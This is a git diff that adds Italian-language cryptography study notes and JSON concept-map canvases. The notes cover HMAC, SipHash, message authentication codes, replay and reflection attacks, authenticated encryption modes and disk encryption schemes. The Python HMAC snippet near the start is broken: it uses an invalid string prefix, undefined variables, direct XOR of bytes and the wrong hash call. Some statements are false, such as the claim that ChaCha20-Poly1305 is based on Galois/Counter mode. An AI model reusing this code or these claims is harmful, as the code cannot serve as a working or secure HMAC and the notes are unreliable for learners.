+HashFunction = Callable[[bytes], bytes]
+
+def hmac(hashf: HashFunction, block_length: int, key: bytes, message: str) -> bytes:
+	base_padding = b"\x00" * (block_length - len(key))
+	inner_padding = b"\x36" * block_length
+	outer_padding = b"\x5c" * block_length
+	
+	base_key = key + base_padding
+	inner_key = hash(base_key ^ inner_padding)
+	outer_key = base_key ^ outer_padding
+
+	return hashf(bf"{keyo}{keyi}{message}")
+```
+
+## Caso d'uso
+
+Viene usato solitamente nei [[general purpose computer]].
+
+## Vedi anche
+
+- #Extra [RFC 2104: **HMAC: Keyed-Hashing for Message Authentication**](https://datatracker.ietf.org/doc/html/rfc2104)
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/SipHash.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/SipHash.md
new file mode 100644
index 0000000..174d04f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/SipHash.md	
@@ -0,0 +1,11 @@
+[[message authentication code system]] utilizzando una variante di [[HMAC]], usando un design simile a [[SHA3]].
+
+## Caso d'uso
+
+### Vantaggi
+
+Eccellente performance.
+
+### Svantaggi
+
+Tag molto corto.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/autenticazione.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/autenticazione.md
new file mode 100644
index 0000000..ecc8768
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/autenticazione.md	
@@ -0,0 +1,5 @@
+---
+aliases: ["AUTH"]
+---
+
+[[problema]] in cui si vuole [[autenticità|autenticare]] di un dato a cui ha avuto accesso un [[adaptive chosen-ciphertext attacker]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/freshness.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/freshness.md
new file mode 100644
index 0000000..2e409c6
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/freshness.md	
@@ -0,0 +1 @@
+[[garanzia]] di resistenza a [[replay attack]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md
new file mode 100644
index 0000000..a28593d
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md	
@@ -0,0 +1,3 @@
+[[funzione ideale]] per problemi di [[autenticazione]] che:
+- accetta in input una [[chiave simmetrica]] e un [[testo]] di dimensione arbitraria
+- emette in output un [[message authentication code]]
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md
new file mode 100644
index 0000000..aaa6c3e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md	
@@ -0,0 +1,7 @@
+---
+aliases: ["MAC"]
+---
+
+[[risultato]] di un [[message authentication code system]].
+
+[[blob]] di [[dimensione fissa]] che [[autenticazione|autentica]] il mittente di un messaggio facendo uso di una certa [[chiave simmetrica]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/reflection attack.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/reflection attack.md
new file mode 100644
index 0000000..6416980
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/reflection attack.md	
@@ -0,0 +1,20 @@
+[[attacco]] contro [[message authentication code system|message authentication code systems]].
+
+## Requisiti
+
+- conoscenza del tipo di [[testo]] inviato
+- conoscenza del [[message authentication code]] corrispondente al [[testo]] inviato
+- possibilità di inviare messaggi al [[sfidante|mittente]]
+
+## Funzionamento
+
+L'avversario cattura una coppia [[testo]] e [[message authentication code]] in transito tra la [[squadra blu]] e la riinvia al [[sfidante|mittente]].
+
+### Prevenzione
+
+- integrare nel [[testo]] un campo autenticato che ne denoti la provenienza
+- utilizzare una chiave diversa per l'invio dei messaggi di ciascun [[sfidante|interlocutore]]
+
+## Effetti
+
+Un attacco reflection riuscito permette all'[[avversario]] di catturare e riutilizzare i messaggi pre-costruiti per interagire con il [[sfidante|mittente]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/replay attack.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/replay attack.md
new file mode 100644
index 0000000..7f83ba2
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/replay attack.md	
@@ -0,0 +1,20 @@
+[[attacco]] contro [[message authentication code system|message authentication code systems]].
+
+## Requisiti
+
+- conoscenza del tipo di [[testo]] inviato
+- conoscenza del [[message authentication code]] corrispondente al [[testo]] inviato
+- possibilità di inviare messaggi al [[sfidante|destinatario]]
+
+## Funzionamento
+
+L'avversario cattura una coppia [[testo]] e [[message authentication code]] in transito tra la [[squadra blu]] e la riinvia al [[sfidante|destinatario]].
+
+### Prevenzione
+
+- integrare nel [[testo]] un contatore di messaggi scambiati
+
+## Effetti
+
+Un attacco replay riuscito permette all'[[avversario]] di catturare e riutilizzare i messaggi pre-costruiti per interagire con il [[sfidante|destinatario]].
+
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/★ mappa concettuale.canvas
new file mode 100644
index 0000000..6288d4f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/★ mappa concettuale.canvas	
@@ -0,0 +1,44 @@
+{
+	"nodes":[
+		{"type":"group","id":"191da61e47fd70fa","x":-1480,"y":-260,"width":1140,"height":4160,"color":"1","label":"Attacco"},
+		{"type":"group","id":"fa939a17d7ffc06c","x":340,"y":380,"width":2120,"height":1040,"color":"6","label":"Usando hashing crittografico"},
+		{"type":"group","id":"39ddeb3fce67a1ef","x":340,"y":1540,"width":2120,"height":1040,"color":"6","label":"Usando cifrari a blocchi"},
+		{"type":"group","id":"9eb91c4c6f6db560","x":340,"y":2700,"width":2120,"height":1040,"color":"6","label":"Usando campi finiti"},
+		{"type":"group","id":"e844af85d8fee35a","x":340,"y":-260,"width":440,"height":540,"color":"5","label":"Difesa"},
+		{"type":"group","id":"db936e897fb39e3f","x":-240,"y":3180,"width":440,"height":440,"color":"5","label":"Difesa"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md","id":"70b481ff24344897","x":-760,"y":-240,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/HMAC.md","id":"48f2e8c3adb6ae5a","x":360,"y":400,"width":960,"height":1000,"color":"4"},
+		{"type":"text","text":"","id":"d2447e47527536db","x":-1320,"y":-25,"width":52,"height":50},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/bruteforce.md","id":"7bd8f15909b79828","x":-1320,"y":680,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/reflection attack.md","id":"30ee5fc13a2c4fc7","x":-1320,"y":1800,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/replay attack.md","id":"7b2b3aceae7aa873","x":-1320,"y":2920,"width":960,"height":960},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/autenticità.md","id":"7fc85a125f1963c4","x":360,"y":-240,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md","id":"75b7e47af611b877","x":-200,"y":400,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/SipHash.md","id":"4fec26e27e2a2ac8","x":1480,"y":400,"width":960,"height":1000},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/autenticazione.md","id":"cb836f529bfaeb21","x":-200,"y":-200,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CMAC.md","id":"693070b4fa16ad82","x":1480,"y":1560,"width":960,"height":1000,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/CBC-MAC.md","id":"d81dddb09fd12020","x":360,"y":1560,"width":960,"height":1000},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md","id":"e8212c29039a68dd","x":-200,"y":960,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"70f39ae5e2a3fcd2","x":-200,"y":1520,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/freshness.md","id":"6b7ce307f768293a","x":-220,"y":3200,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/GMAC.md","id":"01c4b0ede9ad103b","x":360,"y":2720,"width":960,"height":1000}
+	],
+	"edges":[
+		{"id":"e2383fd6e16f1a25","fromNode":"cb836f529bfaeb21","fromSide":"bottom","toNode":"75b7e47af611b877","toSide":"top","toEnd":"none"},
+		{"id":"df4b80134c70305b","fromNode":"e8212c29039a68dd","fromSide":"left","toNode":"7bd8f15909b79828","toSide":"right","toEnd":"none"},
+		{"id":"7d47614a4fb8ebb3","fromNode":"cb836f529bfaeb21","fromSide":"left","toNode":"70b481ff24344897","toSide":"right","toEnd":"none"},
+		{"id":"997217070ade525a","fromNode":"cb836f529bfaeb21","fromSide":"right","toNode":"7fc85a125f1963c4","toSide":"left","toEnd":"none"},
+		{"id":"d0086dd28290e6ba","fromNode":"70b481ff24344897","fromSide":"left","toNode":"d2447e47527536db","toSide":"right","toEnd":"none"},
+		{"id":"7970240f36e11ec1","fromNode":"d2447e47527536db","fromSide":"left","toNode":"7bd8f15909b79828","toSide":"left"},
+		{"id":"4ace62789f7d4f58","fromNode":"d2447e47527536db","fromSide":"left","toNode":"30ee5fc13a2c4fc7","toSide":"left"},
+		{"id":"6bc5c8d685768600","fromNode":"d2447e47527536db","fromSide":"left","toNode":"7b2b3aceae7aa873","toSide":"left"},
+		{"id":"edf57274753bae71","fromNode":"75b7e47af611b877","fromSide":"right","toNode":"48f2e8c3adb6ae5a","toSide":"left","toEnd":"none","color":"4"},
+		{"id":"3431a875dc35bbfd","fromNode":"75b7e47af611b877","fromSide":"right","toNode":"01c4b0ede9ad103b","toSide":"left","toEnd":"none"},
+		{"id":"46af9b084e7d988c","fromNode":"75b7e47af611b877","fromSide":"right","toNode":"d81dddb09fd12020","toSide":"left","toEnd":"none"},
+		{"id":"62020f03b23687dc","fromNode":"d81dddb09fd12020","fromSide":"right","toNode":"693070b4fa16ad82","toSide":"left","toEnd":"none","color":"4"},
+		{"id":"dfca121aef248a38","fromNode":"48f2e8c3adb6ae5a","fromSide":"right","toNode":"4fec26e27e2a2ac8","toSide":"left","toEnd":"none"},
+		{"id":"bfad9f393301c647","fromNode":"7b2b3aceae7aa873","fromSide":"right","toNode":"6b7ce307f768293a","toSide":"left"},
+		{"id":"386ab303fb5477eb","fromNode":"75b7e47af611b877","fromSide":"bottom","toNode":"e8212c29039a68dd","toSide":"top","toEnd":"none"},
+		{"id":"9a8f00f7db0a47b3","fromNode":"e8212c29039a68dd","fromSide":"bottom","toNode":"70f39ae5e2a3fcd2","toSide":"top","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Chacha20-Poly1305.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Chacha20-Poly1305.md
new file mode 100644
index 0000000..7f01957
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Chacha20-Poly1305.md	
@@ -0,0 +1 @@
+[[protocollo]] di [[crittografia simmetrica autenticata]] basato sul [[Galois-Counter mode]].
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Galois-Counter mode.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Galois-Counter mode.md
new file mode 100644
index 0000000..d2acc1f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Galois-Counter mode.md	
@@ -0,0 +1,8 @@
+---
+aliases: ["GCM"]
+---
+
+# Galois/Counter mode
+[[operation mode autenticato di un cifrario a blocchi]] che combina:
+- il [[counter operation mode]] per ottenere la garanzia di [[indistinguibilità]]
+- il [[GMAC]] per ottenere la garanzia di [[autenticità]]
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/MAC-then-encrypt.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/MAC-then-encrypt.md
new file mode 100644
index 0000000..6312a72
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/MAC-then-encrypt.md	
@@ -0,0 +1 @@
+Metodo ***inefficace*** di [[generic composition]] in cui viene prima [[autenticazione|autenticato]] il plaintext, e poi plaintext e MAC vengono [[crittografia simmetrica moderna|cifrati]] insieme in un unico ciphertext.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/counter with cipher block chaining message authentication code.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/counter with cipher block chaining message authentication code.md
new file mode 100644
index 0000000..c3dc0f5
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/counter with cipher block chaining message authentication code.md	
@@ -0,0 +1,9 @@
+---
+aliases: ["CCM", "counter with CBC-MAC"]
+---
+
+# #Extra 
+
+[[operation mode autenticato di un cifrario a blocchi]] che combina:
+- il [[counter operation mode]] per ottenere la garanzia di [[indistinguibilità]]
+- il [[CBC-MAC]] per ottenere la garanzia di [[autenticità]]
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/crittografia simmetrica autenticata.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/crittografia simmetrica autenticata.md
new file mode 100644
index 0000000..01fedf5
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/crittografia simmetrica autenticata.md	
@@ -0,0 +1 @@
+[[problema]] di [[crittografia simmetrica moderna]] in cui si vogliono mantenere [[confidenzialità|confidenziali]] e [[indistinguibilità|indistinguibili]] uno o più [[ciphertext]] da una [[squadra rossa]] che con capacità di [[adaptive chosen-ciphertext attacker]], richiedendo di conseguenza anche garanzie di [[integrità]] e [[autenticità]] dei messaggi.
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-and-MAC.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-and-MAC.md
new file mode 100644
index 0000000..24c2b9e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-and-MAC.md	
@@ -0,0 +1 @@
+Metodo ***inefficace*** di [[generic composition]] in cui il plaintext viene [[crittografia simmetrica autenticata|crittografato]] e separatamente [[autenticazione|autenticato]], dando come risultato un ciphertext e un MAC separati.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-then-MAC.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-then-MAC.md
new file mode 100644
index 0000000..ee8156e
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-then-MAC.md	
@@ -0,0 +1,19 @@
+---
+aliases: ["generic composition for authenticated encryption"]
+---
+
+Metodo di [[generic composition]] per creare un [[protocollo]] di [[crittografia simmetrica autenticata]] da due protocolli qualsiasi rispettivamente di [[crittografia simmetrica moderna]] e di [[autenticazione]], utilizzando due [[chiave simmetrica|chiavi]] diverse.
+
+## Funzionamento
+
+### Cifratura
+
+1. Al [[plaintext]] viene applicata la [[funzione di cifratura]] con la prima chiave.
+2. Al [[ciphertext]] e **ai parametri ad esso associati** ([[nonce]], [[initialization vector]], etc) viene applicato il [[message authentication code system]] con la seconda chiave.
+3. Vengono restituiti [[ciphertext]] e [[message authentication code]] insieme.
+
+### Decifratura
+
+1. Viene verificato il [[message authentication code]] **con una funzione a [[tempo costante]]**.
+2. Viene decifrato il [[ciphertext]].
+3. Viene restituito il [[plaintext]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/generic composition.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/generic composition.md
new file mode 100644
index 0000000..4160afa
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/generic composition.md	
@@ -0,0 +1,2 @@
+Metodo per creare un protocollo di [[crittografia simmetrica autenticata]] combinando due protocolli qualsiasi di [[crittografia simmetrica moderna]] e di [[autenticazione]], ciascuno con una chiave simmetrica diversa.
+
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/operation mode autenticato di un cifrario a blocchi.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/operation mode autenticato di un cifrario a blocchi.md
new file mode 100644
index 0000000..d7cd95b
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/operation mode autenticato di un cifrario a blocchi.md	
@@ -0,0 +1 @@
+[[operation mode di un cifrario a blocchi]] che in aggiunta [[garanzia|garantisce]] l'[[autenticità]] dei messaggi.
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/★ mappa concettuale.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/★ mappa concettuale.canvas
new file mode 100644
index 0000000..ef27b5f
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/★ mappa concettuale.canvas	
@@ -0,0 +1,31 @@
+{
+	"nodes":[
+		{"type":"group","id":"dee5d4c466f8e232","x":660,"y":340,"width":1560,"height":920,"color":"6","label":"Usando GMAC"},
+		{"type":"group","id":"3139990519e83765","x":660,"y":1380,"width":1560,"height":920,"color":"6","label":"Usando CBC-MAC"},
+		{"type":"group","id":"4016fc658806933c","x":420,"y":-300,"width":440,"height":520,"color":"5","label":"Difesa"},
+		{"type":"group","id":"22e85b690ab8946a","x":-700,"y":-300,"width":440,"height":520,"color":"1","label":"Attacco"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/crittografia simmetrica autenticata.md","id":"6f27f96ed7ba1062","x":-120,"y":-240,"width":400,"height":400,"color":"#ffffff"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/indistinguibilità.md","id":"18b9f0297aad3869","x":440,"y":-280,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/adaptive chosen-ciphertext attacker.md","id":"c5ea0ffbd6d44136","x":-680,"y":-280,"width":400,"height":480},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Galois-Counter mode.md","subpath":"#Galois/Counter mode","id":"ebe34979ee8fa788","x":680,"y":360,"width":960,"height":880},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/Chacha20-Poly1305.md","id":"a4fee3d7e6eec50e","x":1800,"y":600,"width":400,"height":400,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/counter with cipher block chaining message authentication code.md","id":"500091ce2069a214","x":680,"y":1400,"width":960,"height":880},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-then-MAC.md","id":"772f94f5c436aac7","x":-360,"y":880,"width":880,"height":880,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/autenticità.md","id":"657914f17d7f7d5e","x":440,"y":0,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/generic composition.md","id":"6a627de386a6de0a","x":-120,"y":320,"width":400,"height":400},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/encrypt-and-MAC.md","id":"140587d5e4fd6eaa","x":-840,"y":880,"width":400,"height":200},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/6 - Indistinguibilità autenticata/MAC-then-encrypt.md","id":"8fed72b2f17d491c","x":-1320,"y":880,"width":400,"height":200}
+	],
+	"edges":[
+		{"id":"bf442745288b636e","fromNode":"6f27f96ed7ba1062","fromSide":"left","toNode":"c5ea0ffbd6d44136","toSide":"right","toEnd":"none"},
+		{"id":"669a68f28ab554e7","fromNode":"6f27f96ed7ba1062","fromSide":"right","toNode":"18b9f0297aad3869","toSide":"left","toEnd":"none"},
+		{"id":"c6e1cd7091d144a4","fromNode":"772f94f5c436aac7","fromSide":"right","toNode":"ebe34979ee8fa788","toSide":"left","toEnd":"none"},
+		{"id":"63c6b14c946e9857","fromNode":"ebe34979ee8fa788","fromSide":"right","toNode":"a4fee3d7e6eec50e","toSide":"left","toEnd":"none","color":"4"},
+		{"id":"465c17fcb301abcf","fromNode":"772f94f5c436aac7","fromSide":"right","toNode":"500091ce2069a214","toSide":"left","toEnd":"none"},
+		{"id":"7de3a05f02233397","fromNode":"6f27f96ed7ba1062","fromSide":"right","toNode":"657914f17d7f7d5e","toSide":"left","toEnd":"none"},
+		{"id":"c07560eafbd0ad54","fromNode":"6f27f96ed7ba1062","fromSide":"bottom","toNode":"6a627de386a6de0a","toSide":"top","toEnd":"none"},
+		{"id":"0cb2982a95e10cc2","fromNode":"6a627de386a6de0a","fromSide":"bottom","toNode":"772f94f5c436aac7","toSide":"top","toEnd":"none","color":"4"},
+		{"id":"7e10b9bf9c0b076b","fromNode":"6a627de386a6de0a","fromSide":"bottom","toNode":"140587d5e4fd6eaa","toSide":"top","toEnd":"none"},
+		{"id":"ba9308b71160ebb5","fromNode":"6a627de386a6de0a","fromSide":"bottom","toNode":"8fed72b2f17d491c","toSide":"top","toEnd":"none"}
+	]
+}
\ No newline at end of file
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/Adiantum.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/Adiantum.md
new file mode 100644
index 0000000..8582363
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/Adiantum.md	
@@ -0,0 +1,5 @@
+[[protocollo]] [[wide-block encryption|wide-block]] [[disk encryption protocol|di disk encryption]] basato su [[ChaCha20]], [[AES]] e [[Poly1305]].
+
+## Origine e disponibilità
+
+Sviluppato da [[Google]] per [[Android]], disponibile nel [[kernel Linux]].
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/HCTR2.md b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/HCTR2.md
new file mode 100644
index 0000000..16ea40b
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/HCTR2.md	
@@ -0,0 +1,9 @@
+[[protocollo]] [[wide-block encryption|wide-block]] di [[crittografia simmetrica moderna]] generalmente usato come [[disk encryption protocol]] per hardware con supporto [[AES-NI]].
+
+## Origine e disponibilità
+
+Sviluppato da [[Google]], disponibile nel [[kernel Linux]].
+
+## #Extra Vedi anche
+
+- International Association for Cryptologic Research: **[Length-preserving encryption with HCTR2](https://eprint.iacr.org/2021/1441)**
diff --git a/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.canvas b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.canvas
new file mode 100644
index 0000000..49892d7
--- /dev/null
+++ b/8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/XOR-encrypt-XOR operation mode.canvas	
@@ -0,0 +1,66 @@
+{
+	"nodes":[
+		{"id":"5e1d5514681f47f1","x":-1080,"y":-340,"width":1386,"height":850,"type":"group","label":"Blocco #1"},
+		{"type":"group","id":"c795d6f107308445","x":380,"y":580,"width":1386,"height":850,"label":"Blocco #2"},
+		{"type":"group","id":"14a46e0cd9c46edf","x":1840,"y":1480,"width":1386,"height":850,"label":"Blocco #3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"ceb56ed3d87a448c","x":-114,"y":110,"width":400,"height":150,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"f6a5be7e48515ae7","x":-114,"y":-120,"width":400,"height":50,"color":"3"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"e5cbf46b321559ad","x":-114,"y":440,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"b61d852583945766","x":-114,"y":320,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"411a62c1b05c6caa","x":-114,"y":0,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"9877bbe3ff78bae6","x":-1060,"y":160,"width":400,"height":50,"color":"6"},
+		{"id":"f0ecb674142674d0","x":-580,"y":-220,"width":400,"height":150,"color":"1","type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"40dbaa7421848f22","x":-1060,"y":-170,"width":400,"height":50,"color":"6"},
+		{"id":"9e529cc3a9ad8e08","x":-580,"y":-23,"width":400,"height":97,"color":"2","type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code.md"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/7 - Implementazioni particolari/1 - Indistinguibilità su disco/tweak.md","id":"c2c02fc671154138","x":-580,"y":-320,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"92b5b0d4602237e0","x":1346,"y":920,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/keyed family of pseudo-random permutations.md","id":"0afa7aa4f0dbd41c","x":1346,"y":1030,"width":400,"height":150,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/XOR.md","id":"5fe48e47c08b8076","x":1346,"y":1240,"width":400,"height":50,"color":"2"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/ciphertext.md","id":"abc8899dbe0bbf64","x":1346,"y":1360,"width":400,"height":50,"color":"4"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/3 - Indistinguibilità/chiave simmetrica.md","id":"42d75aed925594a3","x":400,"y":1080,"width":400,"height":50,"color":"6"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/5 - Autenticazione/message authentication code system.md","id":"0fc345a654da3d6c","x":880,"y":700,"width":400,"height":150,"color":"1"},
+		{"type":"file","file":"8 - Crittografia applicata/2 - Comunicazione simmetrica/1 - Modello/plaintext.md","id":"3238bb0eb2c64ff1","x":1346,"y":800,"width":400,"height":50,"color":"3"},
